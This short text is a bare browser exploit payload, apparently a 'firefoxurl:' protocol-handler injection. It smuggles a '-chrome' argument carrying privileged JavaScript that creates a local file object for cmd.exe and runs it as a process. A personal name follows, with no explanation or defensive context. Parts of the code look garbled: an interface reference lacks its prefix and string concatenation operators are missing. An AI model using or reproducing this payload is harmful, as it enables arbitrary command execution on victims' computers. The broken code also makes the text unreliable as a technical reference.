firefoxurl:test" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(.nsILocalFile);file.initWithPath('C:' String.fromCharCode(92) String.fromCharCode(92) 'Windows' String.fromCharCode(92) String.fromCharCode(92) 'System32' String.fromCharCode(92) String.fromCharCode(92) 'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true%2c{}%2c0);alert(process)
BARRY KWOK 
